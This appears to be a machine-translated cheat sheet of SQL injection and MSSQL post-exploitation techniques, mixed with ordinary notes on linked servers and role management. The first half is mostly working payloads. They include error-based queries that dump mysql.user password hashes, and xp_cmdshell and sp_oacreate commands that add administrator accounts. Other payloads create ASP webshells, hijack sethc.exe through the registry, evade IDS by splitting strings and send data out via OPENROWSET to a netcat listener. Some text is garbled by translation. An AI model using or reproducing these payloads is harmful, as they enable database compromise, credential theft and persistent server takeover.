mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from
test.shop limit 1), 18446744073709551610, 18446744073709551610);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select
`article`,`dealer`,`price` from (select `test`.`shop`.`article` AS
`article`,`test`.`shop`.`dealer` AS `dealer`,`test`.`shop`.`price` AS `price` from
`test`.`shop`) limit 1) > (select
`test`.`shop`.`article`,`test`.`shop`.`dealer`,`test`.`shop`.`price` from `test`.`shop` limit
1)),18446744073709551610,18446744073709551610))'
Get the field value:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select
'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','
Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','','0','0','0','0','','' from dual limit 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Note that this method does not work with older versions of Mysql, and you will need to know the length limit of the error message, as this will determine
You can get as long as you want:
mysys / my_error.c
/* Max length of a error message. Should be kept in sync with MYSQL_ERRMSG_SIZE. */
#define ERRMSGSIZE (512)
If the object is MariaDB (a fork of Mysql), you may see an error message like this when you try the above method:
mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610))
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if((select
#),18446744073709551610,18446744073709551610))'
As a solution, this problem can be solved in this way:
mysql> SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a;
ERROR 1690 (22003): BIGINT value is out of range in '(('5.5-MariaDB' is not null) - -
(9223372036854775808))'
Now let's see if we can make our Vector a little shorter
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610))
=
select 1E308*if((select*from(select version())x),2,2)
SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a
=
select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from
test.shop limit 1), 18446744073709551610, 18446744073709551610)
=
select 1E308*if((select*from(select*from mysql.user)``limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610)
=
select 1E308*if((select*from(select*from mysql.user LIMIT 1)``limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值
select 1E308*if((select user|| host|| password|| file_priv from(select*from mysql.user LIMIT
1)a limit 1),2,2)
//获取字段个数
select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Some other deformations
SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a
select 1E308*if((select user|| host|| password|| file_priv from(select*from mysql.user LIMIT
1)a limit 1),2,2);
=>
select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0);
mysql> select (select * from mysql.user)=1;
mysql> select (select * from mysql.user)in(1);
ERROR 1241 (21000): Operand should contain 42 column(s)
select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0);
select if((select user|| host|| password|| file_priv from(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308
SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a
select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
mysql> select!x-~0.FROM(select+user()x)f;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~
(0))'
3. Judge the database system
; and (select count(*) from sysobjects)>0 mssql
; and (select count(*) from msysobjects)>0 access
4. The injection parameter is a character
'and [query criteria] and ''='
5. There are no filtered parameters during the search
'and [query criteria] and '%25'='
6. Guess the database
; and (select Count(*) from [database name])>0
7. Guess the field
; and (select Count(field name) from database name)>0
8. Guess the length of the record in the field
; and (select top 1 len (field name) from database name)>0
9. (1) Guess the ASCII value of the field (access)
; and (select top 1 asc(mid(field name, 1,1)) from database name)>0
(2) Guess the ASCII value of the field (mssql)
; and (select top 1 unicode(substring(field name, 1,1)) from database name)>0
10. Test Permission Structure (mssql)
; and 1=(select IS_SRVROLEMEMBER('sysadmin')); --
; and 1=(select IS_SRVROLEMEMBER('serveradmin')); --
; and 1=(select IS_SRVROLEMEMBER('setupadmin')); --
; and 1=(select IS_SRVROLEMEMBER('securityadmin')); --
; and 1=(select IS_SRVROLEMEMBER('diskadmin')); --
; and 1=(select IS_SRVROLEMEMBER('bulkadmin')); --
; and 1=(select IS_MEMBER('db_owner')); --
11. Add an account for mssql and the system
; exec master.dbo.sp_addlogin username; --
; exec master.dbo.sp_password null,username,password; --
; exec master.dbo.sp_addsrvrolemember sysadmin username; --
; exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'net user username password /add'; --
; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --
12. (1) Traverse the catalog
; create table dirs(paths varchar(100), id int)
; insert dirs exec master.dbo.xp_dirtree 'c:\'
; and (select top 1 paths from dirs)>0
; and (select top 1 paths from dirs where paths not in('paths obtained from the previous step'))>)
(2) Traverse the catalog
; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; insert temp exec master.dbo.xp_availablemedia; -- Get all current drives
; insert into temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Get a list of subdirectories
; insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Get the directory tree structure for all subdirectories
; insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- View the contents of the file
13. Stored procedures in mssql
xp_regenumvalues Registry root key, child key
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' and more
recordset method to return all key values
xp_regread Root key, child key, key-value name
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' returns the value of the formulation key
xp_regwrite Root key, child key, value name, value type, value
There are two types of value types REG_SZ REG_DWORD for character types, and for integers
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','TestvalueName','reg_sz','hello' are written to the registry
xp_regdeletevalue Root key, sub-key, value name
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' to remove a value
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' delete key,
Include all values under that key
14. mssql backup creates a webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<% Dim oscrip{filter}t %>');
backup database model to disk='c:\l.asp';
15. mssql built-in functions
; and (select @@version)>0 to get the version number of Windows
; and user_name()='dbo' to determine whether the connected user of the current system is SA
; and (select user_name())>0 Exploded the connected users of the current system
; and (select db_name())>0 to get the currently connected database
16. Concise webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>');
backup database model to disk='g:\wwwtest\l.asp';
When requesting, use something like this:
http://ip/l.asp?c=dir
================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================
Get all database names including system databases
–SELECT name FROM master.dbo.sysdatabases
–
Obtain all non-system database names
–select [name] from master.dbo.sysdatabases where DBId>6 Order By [Name]
–
Get all the information, including the database file address
–select * from master.dbo.sysdatabases where DBId>6 Order By
[Name]
This statement query returns all user tables
select * from sysobjects where xtype='u'
Query all data table information in the system
select * from sysobjects
Look at the machine name
select * from sys.servers
Column table of contents
exec master.dbo.xp_subdirs 'c:\’
exec master.dbo.xp_dirtree ‘c:’,1,1 db_owner
Permissions can be enforced
exec master.dbo.xp_dirtree ‘c:/Program Files’,1,1
Program code, written to webshell
exec master.dbo.xp_subdirs ‘d:\web\www.xx.com’;
exec sp_makewebtask ‘d:
\web\www.XXXX.com\XX.asp’,'select”<%execute(request(“SB”))%>”
execute master.. xp_enumgroups
Traverse system users
execute master.. xp_getnetname
Get the current machine name
--List the fixed drives on the server, along with the available space for each drive
//dbo public
execute
xp_ntsec_enumdomains
--
Create an account to log in to MSSQL
exec master.dbo.sp_addlogin name,pass; --
--
List the server domain name
xp_ntsec_enumdomains //
Machine name //dbo public
--
Stop or start a service
xp_servicecontrol 'stop', 'schedule' //schedule is the service name //dbo
--Use pid
Stop an executing program
xp_terminate_process 123 //123 is the pid //dbo
--
Only subdirectories in a directory are listed
dbo.xp_subdirs 'C:' //dbo
sql server
The method of opening the xp_cmdshell in 2005
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC
sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL2005 Open 'OPENROWSET'
Supported methods:
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ad Hoc
Distributed Queries',1; RECONFIGURE;
SQL2005 to enable 'sp_oacreate' support:
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec
sp_configure 'Ole Automation Procedures',1; RECONFIGURE
How to enable xp_cmdshell in SQL Server 2008
-- To allow advanced options to be changed.
EXEC
sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for
advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To
update the currently configured value for this feature.
RECONFIGURE
GO
exec xp_cmdshell 'ipconfig'
Today, I wanted to change the SA login password of the database server, but suddenly forgot, so I had to open the query analyzer with the help of other accounts to change the SA password
It's very simple:
Execution:
sp_password Null,'teracypwd,'sa'
Set SA password to "teracypwd"
After successful execution
There is "Command(s) completed successfully." OK!
In the db permission, separate the method of obtaining the MSSQL database server IP
1. Local NC listens to NC -VVLP 80
2.; insert into
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Address=your ip, 80; ', 'select * from
dest_table') select * from src_table; --
select * from openrowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','select user; ')
Database import and export
/*不同服务器数据库之间的数据操作*/
--Create link server
exec sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Remote Server Name or IP Address'
exec sp_addlinkedsrvlogin 'ITSV ', 'false
',null, 'username', 'password'
--query example
select * from ITSV.database name.dbo.table name
--import example
select *
into table from ITSV.databasename.dbo.tablename
--Delete the linked server if it is no longer in use in the future
exec sp_dropserver 'ITSV ',
'droplogins '
--
Connecting to remote/LAN data (openrowset/openquery/opendatasource)
--1、openrowset
--query example
select *
from openrowset( 'SQLOLEDB ', 'sql server name '; 'Username'; 'password', database name.dbo.table name)
--
Generate a local table
select * into table from openrowset( 'SQLOLEDB ', 'sql server name '; 'Username'; 'Password', number
According to the database name.dbo. table name)
--
Import the local table into the remote table
insert openrowset( 'SQLOLEDB', 'sql server name'; 'Username'; 'Passwords', databases
name.dbo.table name)
select *from local table
--
Update local tables
update b
set b. column A = a
from openrowset( 'SQLOLEDB ', 'sql server name '; 'Username'; '
password ', database name .dbo.table name) as an inner join local table b
on a.column1=b.column1
--openquery
Usage requires creating a connection
--First, create a connection to create a link server
exec sp_addlinkedserver 'ITSV ', ' ',
'SQLOLEDB', 'remote server name or ip address'
--Inquire
select *
FROM openquery(ITSV, 'SELECT * FROM data
library.dbo.table name ')
--
Import the local table into the remote table
insert openquery(ITSV, 'SELECT * FROM database.dbo.table name')
select * from local
table
--update local table
update b
set b. column B=a
FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
as a
inner join local table b on a. column A=b. column A
--3、opendatasource/openrowset
SELECT *
FROM
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; User ID=Login name; Password=Password '
).test.dbo.roy_ta
--
Import the local table into the remote table
Deletion and restoration of xp_cmdshell
Ways to recover xp_cmdshell
Delete the extended stored procedure xp_cmdshell
statement
exec sp_dropextendedproc ’xp_cmdshell’
Recover the sql statement of cmdshell
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
exec
master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’; select count(*) from
master.dbo.sysobjects where xtype=’x’ and
The return result is 1 and it is OK
Otherwise, you need to upload c:\inetput\web
\xplog70.dll later
exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:\inetput\web\xplog70.dll
’; --
If you delete it in the following way
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec
sp_dropextendedproc ’xp_cmdshell’
You can restore it with the following statement
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc
addextendedproc ("xp_cmdshell","xplog70.dll")
In this way, it can be restored directly, regardless of whether sp_addextendedproc exists or not
1、
Use xp_cmdshell:
exec master.dbo.xp_cmdshell "net user admin admin /add"
exec
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
In xp_cmdshell case, use sp_oacreate to follow sp_oamethod:
declare @object int
exec
sp_oacreate 'wscrip{filter}t.Shell', @object out
exec sp_oamethod
@object,'Run',NULL,'net user admin admin /add'
exec sp_oamethod @object,'Run',NULL,'net
localgroup Administrators admin /add'
Note: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Use sp_oacreate and FSO
declare @o int
exec sp_oacreate
'scrip{filter}ting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
exec sp_oamethod @oo,
'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Use xp_regwrite (db_owner, reboot required):
exec master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add'
exec master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add'
5. Use sp_add_job:
exec
master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
use msdb exec sp_delete_job
null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add'
exec sp_add_jobserver
Null,'x',@@servername exec sp_start_job 'x'
Many SA have succeeded in many machines directly using the sandbox mode, but I have never practiced it and I don't know what the success rate is. When the extension is removed, first
Restore read and write storage to the registry.
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc
('xp_regwrite','xpstar.dll')
Fixed the protected mode of the sandbox
exec master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
See if the 'SandBoxMode' value has turned to 0.
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Finally, call the sandbox mode
select * from openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
If the sandbox protection mode is not "off", an error is reported:
Server: Msg 7357, Level 16, State 2, Line 1
Failed to handle object 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB provides programs
The preface 'microsoft.jet.oledb.4.0' indicates that there are no columns in the object.
OLE DB error tracking [Non-interface error: OLE DB provider unable to process object, since the object
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")'］。
2、
If the .mdb does not exist or the input path is incorrect
Server: Msg 7399, Level 16, State 1, Line 1
OLE DB provider 'microsoft.jet.oledb.4.0' error.
[OLE/DB provider returned message:
File 'C:\WINDOWS\system32\ias\dnary1.mdb' not found. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned
0x80004005: ］。
3. If there are more spaces during the input process, an error will also be reported. Pay special attention to this, many people directly look for articles online
Paste it into and execute it.
Server: Msg 7357, Level 16, State 2, Line 1
Failed to process object 'select
shell("cmd.exe /c net user user passwd /add")'。
The OLE DB provider 'microsoft.jet.oledb.4.0' states that there are no columns in the object.
OLE DB error tracking [Non-interface error:
OLE DB provider unable to process object, since the object has
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")'］。
4、
If the mdb permissions and cmd.exe permissions are wrong, the problem will also occur.
When the MDB permissions are incorrect,
Server: Eliminate
Interest 7320, Level 16, State 2, Line 1
He could not answer
OLE DB provider 'Microsoft.Jet.OLEDB.4.0' executes the query.
[OLE/DB provider returned
message: 未知]
OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14］。
5. If the net permission is incorrect, there is no prompt.
The final way to elevate authority is to upload the system's ias.mdb and cmd.exe under the current web directory, net.exe three files.
Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe user user passwd /add")')
Successfully add a computer user.
Splitting cmdshell bypasses IDS
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
declare
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Edit registry hijacking shift
exec master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe on'; --
Query the linkserver
select
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers
select
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers
Query linkserver2
select distinct hostname,db_name(dbid),net_address,loginame,program_name from
master.. sysprocesses
Query the linkserver
and other logged-in users
select * from [192.168.1.1].master.dbo.syslogins
query linkserver
All databases
select * from linkedSrvWeb.master.dbo.sysdatabases
Perform extended storage on LinkServer
exec [ip].master.dbo.xp_cmdshell
Query all tables on the linkserver
select * from [ip].master.dbo.sysobjects
select * from openrowset
('sqloledb','server=IP; uid=user; pwd=password','select @@version')
select * from openquery([LINKSERVER
name],'select @@version')
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
select * from openquery(GM_SERVER,'select * from sysobjects where xtype = (''U'')')
select * from
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
select * from openquery(toatdeweb,'select
srvname from master.dbo.sysservers')
insert into opendatasource
('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select
name from master.dbo.sysdatabases
create database hack520 Create TABLE zhu(name nvarchar(256)
null); Create TABLE J8(id int NULL,name nvarchar(256) null);
select * from openquery
(toatdeweb,'set fmtonly off exec master.dbo.xp_cmdshell ''net user''')
exec master.. xp_dirtree
'c:\',1,1
Perform a query directory
exec links.master.. xp_cmdshell 'ipconfig'
select * from openquery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Connect mysql Select * from Mem_DB. UserDB.dbo.AdminList
EXEC MASTER.. XP_dirtree 'c:\',1,1
Exec
master.dbo.xp_cmdshell 'dir '
select count(*) from [indicate]
Query how much data is in the current table
select distinct hostname,db_name(dbid),net_address,loginame,program_name
from master.. sysprocesses
select * from gamedb01. Server01.dbo.cabal_character_table where name='
Pig'
When you delete it, it says: The database is being used and cannot be deleted.
Click on the database you want to delete to open the Event Viewer.
Input:
use
master
go
Then enter the following:
declare @d varchar(8000)
set @d= ' '
select @d=@d+ ' kill
'+cast(spid as varchar)+char(13)
from master.. sysprocesses where dbid=db_id('library name')
exec(@d)
--
Use code to delete the process that connects to this database first
MSSQL operates Oracle through LinkServer
1) Install Oracle on the SQL_SERVER 2005 server
9i client. Suppose install to the C:\ora92i\ directory. If D: is an NTFS partition, you need to set the ORACLE installed directory as the one used
Subscribers have the right to run, add, and delete.
2)
Configure the C:\ora92i\network\ADMIN\tnsnames.ora file. (The following red text is an example of a configuration)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3)
Run the following command in DOS mode to confirm that the ORACLE client is installed correctly.
sqlplus user/password@ORCL
4）
Open Start - Control Panel - Services and confirm that the Distributed Transaction Coordinator service is started.
5) Open SQL SERVER Management Studio, Instance Name (ORCL) - Server Object (right-click) - New Connection Server.
1.
Link server: Write the name of the linked server, such as OracleTest
2.
Server type, select a different data source
3. Access Interface:
Select Oracle Provider for OLE DB
4. Product Name: Write Oracle
5. Data source: Write up
The service name configured in the tnsnames.ora file, such as ORCL
6.
Access interface string: userid=sys as sysdba; password=password
7.
On the Select Security Options page, use this installation context to establish a connection:
a) Remote Login: user (other user, not sys)
b)
Use password: password
8. Set "NT AUTHORITY\SYSTEM" on the local login, remote user sys, and set the password
9.
Are you sure
6) There are two ways to write SQL
a) Using T-SQL syntax:
SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS
Note that when entering SQL statements in SQL Query Analyzer, pay attention to the Chinese full-width and half-width switching
way!
b) Use PLSQL syntax:
SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) The second access method is about 50% faster than the first; The second access method is directly connected
ORACLE is comparable; The first access method can lead to some unexpected errors, such as:
The table does not exist, or the current user
There is no access to the table, and so on.
d) If the column that needs to be accessed uses data types without precision, both of these
This is a bug of ORACLE that cannot be fixed, and can only be avoided by special handling of query statements:
The metadata provided by the OLE DB provider 'OraOLEDB.Oracle' for the columns is inconsistent. Metadata information is changed at execution.
mssql added
Delete the user and give permissions
use your library name
go
--Add users
exec sp_addlogin 'test' -- add login
exec
sp_grantdbaccess N'test' - making it a legitimate user of the current database
exec sp_addrolemember N'db_owner',
N'test' - grants all permissions to their own database
--This creates users who can only access their own database and what is included in the database
public table for guest users
go
--Remove test user
exec sp_revokedbaccess N'test' -- Remove access to the database
Limit
exec sp_droplogin N'test' -- delete login
If you create it in Enterprise Manager, use:
Enterprise Manager - Security
Sex --Right-click Login--New Login
General items
--Enter the username in the name
--The authentication method is selected according to your needs (if you are using Windows authentication, you need to create a new user among the users of the operating system first)
--In the default settings, select the database name that you want to access for the new user
Server role item
Don't choose anything in this
database
Access item
Check the name of the database that you want to access for the user you create
Allow in the database role, check "public", "db_ownew"
Sure, this
The user created by the sample is the same as the user created by the above statement
The last step is to set specific access permissions for specific users, which can be referred to the following minimal example:
--Add users who are only allowed to access the specified table:
exec sp_addlogin 'username', 'password', 'default database name'
--add to database
exec sp_grantdbaccess 'username'
--Assign entire table permissions
GRANT SELECT , INSERT , UPDATE , DELETE ON table1 TO [username]
--Assign permissions to specific columns
GRANT SELECT , UPDATE ON table1(id,AA) TO [username]
For specific security settings and theoretical knowledge, please refer to SQL Online Help
Fixed database role description
db_owner Have full permissions in the database.
db_accessadmin You can add or remove user IDs.
db_securityadmin Can manage full permissions, object ownership, roles, and role memberships.
db_ddladmin can issue ALL DDL, but not GRANT, REVOKE, or DENY statements.
db_backupoperator can issue DBCC, CHECKPOINT, and BACKUP statements.
db_datareader You can select all data from any user table in the database.
db_datawriter You can change all data in any user table in the database.
db_denydatareader You can't select any data from any user table in the database.
db_denydatawriter You can't change any data in any user table in the database.
You should choose db_datareader, db_datawriter, db_accessadmin
5.
After the SQL Server instance is started in single-user mode, the Windows administrator account can use the sqlcmd tool to connect in Windows authentication mode
SQL Server。 You can use T-SQL commands such as "sp_addsrvrolemember" to add an existing login to the sysadmin server role
or create a new login account.
An example statement is as follows:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
GO
Add a sysadmin privilege
(1) Manage server roles
In SQL Server, there are two main stored procedures that implement SQL Server role management:
sp_addsrvrolemember
and sp_dropsrvrolemember
sp_addsrvrolemember
You can add a login account to a server role to make it a member of that server role. The syntax is as follows:
sp_addsrvrolemember
login , role
sp_dropsrvrolemember
You can delete a login account from a server role, and when the member is removed from the server role, it no longer has that server role
The permissions set. The syntax is as follows:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
thereinto
@loginname is the name of the logged-in user; @rolename is a server role.
(2) Manage database roles
In SQL Server, database management is supported
There are six main types of stored procedures, and their specific meanings and syntax are as follows:
sp_addrole: Used to create a new database role;
sp_addrole
role, owner
sp_droprole: Used to remove a database role from the current database role;
sp_droprole role
sp_helprole：
It is used to display all information about all database roles in the current database;
sp_helprole ['role']
sp_addrolemember: Used to send to the database
Add database users to a role, which can be user-defined standard roles or fixed database roles, but cannot be
Application roles.
sp_addrolemember role, security_account
sp_droprolemember: Used to delete a certain character
household;
sp_droprolemember role, security_account
sp_helprolemember: Used to display all members of a database role
。
sp_helprolemember ['role']
MSSQL LINKSERVER query
----------------------------------------------------------------------------------
-- Author :
htl258(Tony)
-- Date : 2010-06-25 22:23:18
-- Version: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86)
-- Jul 9 2008 14:43:34
-- Copyright (c) 1988-2008 Microsoft Corporation
--
Developer Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blog : -- Subject:
SQL data operations between different server databases
----------------------------------------------------------------------------------
--1.
Create a link server
--1.1 Create a link name
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' the remote server name
or IP address' --
If you have a custom instance name, add "\instance name"
/*例如：EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Create a login (or create a link server login map) (just choose one way)
--1.2.1
Log in with Windows authentication
EXEC sp_addlinkedsrvlogin 'LinkName'
--or EXEC sp_addlinkedsrvlogin 'LinkName','true'
/*例如：EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Log in with SQL authentication
EXEC sp_addlinkedsrvlogin 'LinkName','false',NULL,'Username','Password'
/*例如：EXEC
sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */
--2.
Link server-related data operations
--2.1 Query example
SELECT * FROM LinkName.database name.schema name.table name
/*例如：SELECT *
FROM TonyLink.Mydb.dbo.tb */
--
2.2 Import example
SELECT * INTO table name FROM LinkName.database name.schema name.table name
/*例如：SELECT * INTO Newtb
FROM TonyLink.Mydb.dbo.tb */
--
2.3 Update example
UPDATE LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如：UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */
--
2.4 Delete examples
DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如：DELETE
TonyLink.Mydb.dbo.tb WHERE Persons='g' */
--3 via rowset function (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Method
-
3.1 OPENQUERY method (requires the help of the link server you just created):
--
3.1.1 Query example
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Architecture name. table name')
/*
For example: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Import Examples
--3.1.2.1 Import all columns
INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Architecture name. Table name
') SELECT * FROM local table
/* 例如：INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
FROM tb */
--3.1.2.2
Import the specified columns
INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Architecture name. table name') (column, column...)
SELECT column,
Column... FROM local table
/*
For example: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
SELECT
RANGE,LEVEL,Persons FROM tb
*/
--3.1.3
Update examples
UPDATE OPENQUERY(LinkName, 'SELECT * FROM database name. Architecture name. table name') SET field = 'value' WHERE word
Segment = 'Condition'
/*例如：UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Persons='a' */
--3.1.4
Delete examples
DELETE OPENQUERY(LinkName, 'SELECT * FROM database name. Architecture name. table name') WHERE field name='condition'
/*例
For example: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */
--3.2
OPENROWSET method (you don't need to use the created link name.) If the connected instance name is not the default, you need to set it in sql server name or IP address.
"\instance name")
--3.2.1 Query example
--3.2.1.1
Windows authentication method query (one of the following methods is sufficient)
SELECT * FROM OPENROWSET('SQLOLEDB', 'server=sql server name or
IP address; Trusted_Connection=yes', database name. Architecture name. Table name)
SELECT * FROM OPENROWSET('SQLNCLI',
'server=sql server name or IP address; Trusted_Connection=yes', database name. Architecture name. Table name)
SELECT * FROM
OPENROWSET('SQLOLEDB', 'server=sql server name or IP address; Trusted_Connection=yes','SELECT * FROM database
Name. Architecture name. table name')
SELECT * FROM OPENROWSET('SQLNCLI', 'server=sql server name or IP address
